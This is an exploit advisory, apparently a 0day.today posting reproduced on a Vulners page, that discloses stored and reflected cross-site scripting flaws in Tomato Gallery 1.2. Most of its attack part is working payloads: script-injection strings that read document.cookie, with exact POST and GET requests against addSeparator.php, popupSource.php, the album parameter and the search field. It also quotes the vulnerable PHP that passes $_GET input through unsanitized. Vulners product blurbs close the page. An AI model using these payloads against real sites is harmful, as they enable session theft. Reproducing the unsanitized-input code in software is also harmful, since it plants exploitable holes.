# author: lemlajt
# software link: http://tomatogallery.yzx.se/
# version: 1.2
# tested on: linux
#cve :
poc0.1 :
1. http://localhost/www/cmsadmins/tomato_gallery_1_2/edit/index.php
2. click @ "Add Separator" and type: bla'';!--<script>alert(
document.cookie)</script>=&{()} in the box
3. persistant.
try:
POST http://localhost/www/cmsadmins/tomato_gallery_1_2/ajaxinfo/addSeparator.php
?separatorName=bla'';!--<script>alert(document.cookie)</script>=&{()} HTTP/1.1
more:
cat -n $tomato_dir/ajaxinfo/addSeparator.php
--- <ut ------ <ut ------ <ut ------ <ut ---
11 $albumName = $_GET["separatorName"];
--- <ut ------ <ut ------ <ut ------ <ut ---
... and more, enjoy! o/
* csrf?
poc0.2 :
POST http://localhost/www/cmsadmins/tomato_gallery_1_2/ajaxinfo/popupSource.php?popup=create-album&album=undefined HTTP/1.1
;]
in second line of ajaxinfo/popupSource.php we see:
$popup = $_GET['popup'];
replace 'create-album' to: ''script
in source of generated page find your alert:
<li id="item_0" style="margin:0; padding:0; list-style:none;" lang="test;!--<script>alert(document.cookie)</script>=">
<div class="group" onMouseOver="hoverAlbum('in','1')" onMouseOut="hoverAlbum('out','1')" id="album1">
<div class="stripe"></div>
<div class="albumText" style="position:absolute;" id="albumText1"
onclick="this.innerHTML = this.lang" lang="test';!--<script>alert(document.cookie)</script>=">test';!--<script>alert(document.cookie)</script>=
</div>
file inputs?
poc0.3 : some error when typing:
http://localhost/www/cmsadmins/tomato_gallery_1_2/edit/index.php?album=%27%27;!--%3Cscript%3Ealert%28document.cookie%29%3C/script%3E=&{%28%29}#
poc0.4 : xss via GET
$search = '';!--<script>alert(document.cookie)</script>=&{()}
regards Inj3ct0r Team!
# 0day.today [2018-04-02] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation